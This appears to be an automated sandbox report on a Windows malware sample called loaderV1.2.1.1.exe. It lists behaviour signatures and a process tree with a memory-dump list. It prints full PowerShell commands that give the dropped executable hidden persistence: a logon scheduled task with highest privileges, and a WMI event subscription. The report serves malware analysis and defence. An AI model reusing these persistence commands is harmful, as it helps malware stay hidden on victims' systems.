Analysis
- max time kernel
149s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
26/08/2026, 00:25
General
- Target loaderV1.2.1.1.exe
- Size 9.0MB
- Sample260826-aq5fcsbc82
- SHA256 54b3a02098d4af1df2220171c0496981d90d82dc51e4cb074351f3a42e9d58a7
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
- Creates a file in the Startup directory 1 TTPs 2 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Executes dropped EXE 1 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Looks up external IP address via web service 1 TTPs 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- UPX packed file 19 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\loaderV1.2.1.1.exe"C:\Users\Admin\AppData\Local\Temp\loaderV1.2.1.1.exe"1⤵
- Creates a file in the Startup directory
- Adds Run key to start application
- Checks processor information in registry
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_e0663c918750.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_16a8e64a' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_e0663c918750.exe"C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_e0663c918750.exe"1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_e0663c918750.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_16a8e64a' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'ovd_f16a8e64a'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'ovd_c16a8e64a'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_e0663c918750.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='ovd_f16a8e64a'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='ovd_c16a8e64a'\"; $null = $b.Put()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_v4xy1gko.ngy.ps1
agent-2293634964.tmp
memory/3272-53-0x00007FF67AC80000-0x00007FF67E7C7000-memory.dmp
memory/3272-34-0x00007FF67AC80000-0x00007FF67E7C7000-memory.dmp
memory/3272-63-0x00007FF67AC80000-0x00007FF67E7C7000-memory.dmp
memory/3272-62-0x00007FF67AC80000-0x00007FF67E7C7000-memory.dmp
memory/3272-61-0x00007FF67AC80000-0x00007FF67E7C7000-memory.dmp
memory/3272-60-0x00007FF67AC80000-0x00007FF67E7C7000-memory.dmp
memory/3272-59-0x00007FF67AC80000-0x00007FF67E7C7000-memory.dmp
memory/3272-58-0x00007FF67AC80000-0x00007FF67E7C7000-memory.dmp
memory/3272-57-0x00007FF67AC80000-0x00007FF67E7C7000-memory.dmp
memory/3272-56-0x00007FF67AC80000-0x00007FF67E7C7000-memory.dmp
memory/3272-55-0x00007FF67AC80000-0x00007FF67E7C7000-memory.dmp
memory/3272-54-0x00007FF67AC80000-0x00007FF67E7C7000-memory.dmp
memory/3272-6-0x00007FF67AC80000-0x00007FF67E7C7000-memory.dmp
memory/3272-52-0x00007FF67AC80000-0x00007FF67E7C7000-memory.dmp
memory/3272-51-0x00007FF67AC80000-0x00007FF67E7C7000-memory.dmp
memory/3272-45-0x00007FF67AC80000-0x00007FF67E7C7000-memory.dmp
memory/3284-40-0x00007FF6D8E80000-0x00007FF6DC9C7000-memory.dmp
memory/3284-50-0x00007FF6D8E80000-0x00007FF6DC9C7000-memory.dmp
memory/3776-43-0x000001CFEE650000-0x000001CFEE702000-memory.dmp
memory/4864-27-0x000001E7E9B80000-0x000001E7E9C32000-memory.dmp
memory/4864-23-0x00007FFCE1DD0000-0x00007FFCE2774000-memory.dmp
memory/4864-31-0x00007FFCE1DD0000-0x00007FFCE2774000-memory.dmp
memory/4864-7-0x00007FFCE1F5F000-0x00007FFCE1F60000-memory.dmp
memory/4864-8-0x00007FFCE1DD0000-0x00007FFCE2774000-memory.dmp
memory/4864-29-0x000001E7E9EB0000-0x000001E7E9ECE000-memory.dmp
memory/4864-28-0x000001E7E9940000-0x000001E7E994A000-memory.dmp
memory/4864-26-0x000001E7E9B60000-0x000001E7E9B7E000-memory.dmp
memory/4864-9-0x00007FFCE1DD0000-0x00007FFCE2774000-memory.dmp
memory/4864-16-0x00007FFCE1DD0000-0x00007FFCE2774000-memory.dmp
memory/4864-22-0x00007FFCE1DD0000-0x00007FFCE2774000-memory.dmp
memory/4864-21-0x00007FFCE1DD0000-0x00007FFCE2774000-memory.dmp
memory/4864-20-0x00007FFCE1DD0000-0x00007FFCE2774000-memory.dmp
memory/4864-19-0x00007FFCE1DD0000-0x00007FFCE2774000-memory.dmp
memory/4864-10-0x00007FFCE1DD0000-0x00007FFCE2774000-memory.dmp
memory/4864-15-0x00007FFCE1DD0000-0x00007FFCE2774000-memory.dmp
memory/4864-14-0x000001E7E9810000-0x000001E7E9832000-memory.dmp
memory/4864-11-0x00007FFCE1DD0000-0x00007FFCE2774000-memory.dmp